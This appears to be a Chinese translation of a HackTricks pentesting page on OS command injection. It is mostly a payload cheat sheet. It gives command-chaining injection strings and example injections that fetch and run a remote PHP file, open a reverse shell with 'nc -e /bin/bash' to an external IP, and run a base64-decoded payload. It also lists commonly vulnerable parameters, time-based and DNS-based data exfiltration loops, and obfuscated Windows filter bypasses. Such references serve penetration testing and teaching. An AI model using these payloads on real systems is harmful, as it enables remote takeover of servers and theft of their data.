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132 lines
3.6 KiB
Markdown
132 lines
3.6 KiB
Markdown
# 命令注入
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{{#include ../banners/hacktricks-training.md}}
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## 什么是命令注入？
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**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此，应用程序及其所有数据可能会完全被破坏。这些命令的执行通常使攻击者能够获得对应用程序环境和底层系统的未经授权的访问或控制。
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### 上下文
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根据 **输入被注入的位置**，您可能需要在命令之前 **终止引用上下文**（使用 `"` 或 `'`）。
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## 命令注入/执行
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```bash
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#Both Unix and Windows supported
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ls||id; ls ||id; ls|| id; ls || id # Execute both
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ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
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ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
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ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
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ls %0A id # %0A Execute both (RECOMMENDED)
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#Only unix supported
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`ls` # ``
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$(ls) # $()
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ls; id # ; Chain commands
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ls${LS_COLORS:10:1}${IFS}id # Might be useful
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#Not executed but may be interesting
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> /var/www/html/out.txt #Try to redirect the output to a file
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< /etc/passwd #Try to send some input to the command
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```
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### **限制** 绕过
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如果您尝试在 **linux 机器内部执行任意命令**，您会对以下 **绕过** 感兴趣：
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{{#ref}}
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../linux-hardening/bypass-bash-restrictions/
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{{#endref}}
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### **示例**
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```
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vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
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vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
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vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
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```
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### 参数
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以下是可能容易受到代码注入和类似 RCE 漏洞的前 25 个参数（来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)）：
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```
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?cmd={payload}
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?exec={payload}
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?command={payload}
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?execute{payload}
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?ping={payload}
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?query={payload}
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?jump={payload}
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?code={payload}
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?reg={payload}
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?do={payload}
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?func={payload}
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?arg={payload}
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?option={payload}
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?load={payload}
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?process={payload}
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?step={payload}
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?read={payload}
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?function={payload}
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?req={payload}
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?feature={payload}
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?exe={payload}
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?module={payload}
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?payload={payload}
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?run={payload}
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?print={payload}
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```
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### 基于时间的数据外泄
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逐字符提取数据:
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```
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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real 0m5.007s
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user 0m0.000s
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sys 0m0.000s
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
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real 0m0.002s
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user 0m0.000s
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sys 0m0.000s
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```
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### 基于DNS的数据外泄
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基于工具 `https://github.com/HoLyVieR/dnsbin`，也托管在 dnsbin.zhack.ca
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```
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1. Go to http://dnsbin.zhack.ca/
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2. Execute a simple 'ls'
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for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
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```
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```
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$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
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```
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在线工具检查基于DNS的数据外泄：
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- dnsbin.zhack.ca
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- pingb.in
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### 过滤绕过
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#### Windows
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```
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powershell C:**2\n??e*d.*? # notepad
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@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
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```
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#### Linux
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{{#ref}}
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../linux-hardening/bypass-bash-restrictions/
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{{#endref}}
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## 暴力破解检测列表
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{{#ref}}
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https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
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{{#endref}}
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## 参考文献
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
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- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
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{{#include ../banners/hacktricks-training.md}}
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